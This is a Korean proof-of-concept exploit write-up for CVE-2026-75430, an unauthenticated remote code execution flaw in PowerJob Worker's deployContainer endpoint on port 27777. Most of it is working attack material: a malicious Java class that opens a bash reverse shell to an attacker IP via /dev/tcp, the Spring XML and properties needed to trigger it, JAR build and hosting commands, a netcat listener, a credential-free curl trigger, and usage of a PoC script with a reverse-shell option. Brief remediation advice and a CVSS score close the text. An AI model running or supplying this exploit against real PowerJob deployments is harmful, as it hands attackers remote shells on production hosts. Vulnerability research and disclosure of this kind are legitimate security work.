
# CVE-2026-75430 개념 증명 익스플로잇 deployContainer 엔드포인트를 통한 임의 JAR 로딩으로 PowerJob Worker에서 인증 없는 원격 코드 실행을 달성하는 개념 증명 익스플로잇입니다.
/worker/deployContainer (임의 JAR 로딩)PowerJob Worker는 HTTP 전송 포트 27777에서 deployContainer 핸들러를 어떠한 인증도 없이 노출합니다. 공격자는 임의의 URL을 제출하고, Worker는 해당 JAR을 다운로드하여 URLClassLoader + Spring ClassPathXmlApplicationContext를 통해 로드하며, Spring init-method 중에 임의 코드가 실행되어 Worker RCE가 발생합니다. 기본 docker-compose는 이 포트를 호스트에 게시합니다.
전제 조건 (정직한 설명): Worker가 실행 중이어야 합니다(27777 포트 리슨). 기본 구성에서 Worker는 시작 시 앱이 서버에 등록되었는지 검증합니다(/server/assert). 앱이 등록되지 않으면 Worker는 시작에 실패하고 27777 포트는 리슨하지 않습니다 (검증됨: Java 프로세스가 코드 1로 종료됨). 따라서 콘솔 설정 없이 엄격하게 새로 "docker-compose up"한 상태는 직접 악용할 수 없습니다. 그러나 PowerJob의 정상적인 운영은 필연적으로 앱 등록과 Worker 온라인 상태를 요구하므로 (그렇지 않으면 시스템이 작업을 스케줄링하지 않음), 실제로 사용 중인 모든 배포는 본질적으로 전제 조건을 충족하며, 이후 익스플로잇은 자격 증명이 필요 없습니다. 반대로, 관련 발견 PJ-08(서버 /friend/process)은 그러한 전제 조건이 없습니다 — 서버는 시작 시 무조건 10010 포트를 바인딩합니다.
powerjob-worker, 공식 powerjob-worker-samples 이미지를 통해 배포)docker-compose.yml worker 서비스, HTTP 프로토콜, 포트 27777 (PowerJobWorkerConfig.java:34)요청 본문 ServerDeployContainerRequest (필드 containerId/containerName/version/downloadURL).
WorkerActor 핸들러는 downloadURL을 완전히 신뢰합니다.OmsContainerFactory는 임의의 URL에서 JAR을 다운로드하고 즉시 OmsJarContainer.init()을 호출합니다: URLClassLoader 로드 + Spring 컨텍스트 refresh() → 클래스/Bean 초기화 중에 악성 코드가 실행됩니다.전제 조건: Worker가 실행 중이고 27777 포트가 리슨 중입니다 (모든 프로덕션/데모 배포에서 충족됨; 운영자가 공식 절차를 따라 샘플 앱을 생성했다면 Worker는 온라인 상태입니다). 재현을 위해 Worker를 --powerjob.worker.allow-lazy-connect-server=true로 시작하여 앱 등록 검사를 건너뛸 수 있습니다 (프로덕션에서는 권장되지 않음; 이 스위치는 Worker가 온라인 상태가 되는지 여부에만 영향을 미칠 뿐 열린 포트의 인증 부재를 변경하지는 않습니다).
OmsJarContainer.init()의 요구 사항 충족):
PACKAGE_NAME=com.evil이 포함된 oms-worker-container.propertiescom/evil/Exploit.class — 명령을 실행하는 Spring init-method(예: run())를 노출하는 클래스oms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>{"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}과 함께 POST /worker/deployContainer를 전송합니다.OmsJarContainer.init(): OhMyClassLoader.load()가 클래스를 로드하고(정적 초기화자는 ), 그런 다음 가 Bean을 인스턴스화하고 (Worker의 런타임 권한으로).출력 에코 없음:
deployContainer핸들러는void를 반환하므로 HTTP 응답에는 명령 출력이 포함되지 않습니다 (검증됨: 빈 본문). 대화형 명령 실행을 위한 기본 기법은 리버스 셸입니다 (아래 재현 참조); 마커 파일 변형은 로컬의 비대화형 검증에 불과합니다.
환경: JDK 21, 소스 빌드 powerjob-worker-samples-5.1.2.jar, Worker가 192.168.49.128:27777에서 리슨 중 (앱 등록을 건너뛰기 위해 --powerjob.worker.allow-lazy-connect-server=true로 시작).
기본 — 리버스 셸 (대화형 명령 실행):
악성 JAR의 Exploit.run() (Spring init-method)이 리버스 셸을 생성합니다. 출력 에코가 없으므로 Worker 호스트에서 대화형 명령 실행을 얻는 효과적인 방법입니다.
# 1) 공격자가 먼저 리슨:
nc -lvnp 7878
# 2) 악성 JAR 구성 — Exploit.run()이 bash 리버스 셸 실행
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # evil.jar 호스팅
# 3) 트리거 (자격 증명 없음):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
또는 스크립트를 사용하여 검증: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC 핵심 포인트:
OhMyClassLoader.load()는loadClass()만 호출하므로 정적 초기화자는 실행되지 않습니다; 실제 실행 지점은ClassPathXmlApplicationContext.refresh()가 호출하는 Spring init-method입니다. 따라서 악성 JAR은 Spring XML을 포함하고init-method를 선언해야 합니다. 리버스 셸은/bin/sh(dash)가/dev/tcp를 구문 분석하지 않으므로/bin/bash -c를 통해 실행해야 합니다.
deployContainer를 트리거할 수 있도록 하며 소스를 검증합니다.downloadURL을 신뢰할 수 있는 내부 주소로 제한하고, 로드 전에 JAR 해시/서명을 검증합니다.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 치명적PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, 자격 증명 없음 → Worker RCE); ## 6. 재현 참조PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (자동 JAR 빌드 + 호스팅 + 트리거, --reverse-shell, -p/--proxy)SECURITY.md 채널을 통해 (Tidelift / [email protected] / GitHub Security Advisory)| 항목 | 값 |
|---|
| 진입점 | POST http://<worker>:27777/worker/deployContainer |
| 핸들러 | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), 인증 없음) |
| 다운로드 | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| 로드 | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
ClassPathXmlApplicationContext.refresh()AbstractScriptProcessor.java:118-123도 임의 URL에서 다운로드를 지원 → Worker 측 SSRF.